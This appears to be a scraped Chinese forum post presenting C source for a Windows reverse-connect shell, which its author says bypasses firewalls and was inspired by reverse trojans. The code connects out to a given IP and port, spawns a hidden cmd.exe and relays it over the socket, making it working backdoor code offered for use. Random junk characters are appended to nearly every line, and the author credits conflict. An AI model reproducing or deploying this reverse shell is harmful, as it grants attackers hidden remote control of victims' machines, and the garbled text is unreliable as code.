这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 XL9lB#v^
L]")TQ
/* ============================== th|Q NG
Rebound port in Windows NT aX:$Q
}S
By wind,2006/7 6*
w;xf
===============================*/ _
RT}Ee}Y
#include nzDY!Y
#include mn` Ae=
HEN9D/O=
#pragma comment(lib,"wsock32.lib") U%l{>*q
.C?g nOq
void OutputShell(); I]1fH
SOCKET sClient; .?NAq[H%
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; vkmR
cX:/
-&tiM
v
void main(int argc,char **argv) =p$ Wo
{ 1t'\!
WSADATA stWsaData; "rJL ^ \r
int nRet; 4ebGAg ?_
SOCKADDR_IN stSaiClient,stSaiServer; 5o#8DIal
_;W|iUreb
if(argc != 3) }qPo%T
{ 8^T$6A[b
printf("Useage:\n\rRebound DestIP DestPort\n"); {eV_+@dT
return; u1<kdTxA
N
} [%:NR
Pp!W$C:
WSAStartup(MAKEWORD(2,2),&stWsaData); `BY`ltW
eD0@n
:
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); k/O&,T77}J
!^\/
1^
stSaiClient.sin_family = AF_INET; krU2S-
stSaiClient.sin_port = htons(0); |{Q,,<C
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Gx)D~7lz
P]GGnT(!
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ]f?LQCTq<b
{ 0g\&3EvD
printf("Bind Socket Failed!\n"); 9
|Y?#oZ1
return; Mt>DAk
} Fjb[Ev
d-aF-
stSaiServer.sin_family = AF_INET; hRu%> =7
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); L_|Y_=r."
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); +/tD$
GS%Dn^l
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) I'wAgf6W
{ eF@E|kK
printf("Connect Error!"); lhU# /}Z
return; &D#v0!e~x
} `x{gF8GV
OutputShell(); :1Cc~+]w(u
} OMU#Sx!6
Hn)=:lI
void OutputShell() RZjR d
{ LtBH4A
char szBuff[1024]; Ql
1# l:Q
SECURITY_ATTRIBUTES stSecurityAttributes; Mv3Ch'X[
OSVERSIONINFO stOsversionInfo; @@ QU"8q
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; }{"\"Bn_
STARTUPINFO stStartupInfo; `shB[Lt
char *szShell; ;z#9>99rH
PROCESS_INFORMATION stProcessInformation; {JJ`|*H$_
unsigned long lBytesRead; *(rE<
l{4\Wn Va
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); * ?K=;$
(ym)q#^
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); _1~Sj*
stSecurityAttributes.lpSecurityDescriptor = 0; ` {p5SYj
stSecurityAttributes.bInheritHandle = TRUE; &k nnWm"
bvG
Vfr "
>vhyKq|g<
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); i y 5
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ZpyRvDz
tznT*EQr
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Zl)|x%z
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1N&U{#4
stStartupInfo.wShowWindow = SW_HIDE; U&NOf;h$
stStartupInfo.hStdInput = hReadPipe; nJnan,`W
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 7>'F=}6[Y
g=.5*'Xlp
GetVersionEx(&stOsversionInfo); T>?~eYHXs
ZI1RB fR
switch(stOsversionInfo.dwPlatformId) h;6@-\6
{ BI
s!
case 1: :Z)s'd.
szShell = "command.com"; 8"@<s?0\"
break; &zR}jD>
default:
,Xw/
t>
szShell = "cmd.exe"; m`|Z1CT
break; 1NTe@r!y
} U7W ct %
6!$S1z#wM
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); bu.36\78
C"}x=cK
send(sClient,szMsg,77,0); xl3U
while(1) d dPJx<
{ z} %to0W
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ^$(|(N[;
if(lBytesRead) km^AX:r1
{ z(ajR*\#
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); khR3[ju {^
send(sClient,szBuff,lBytesRead,0); sM-*[Q=_
} MG6Tk(3S
else M3''xrpC
{ /H)g<YA
lBytesRead=recv(sClient,szBuff,1024,0); iw{n|&Y#`
if(lBytesRead<=0) break; Z#Fw 1
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); U;31}'b
} bMZ0%(q
} ~^eAS;
Wwz>tE
return; ps]6,@uyB
}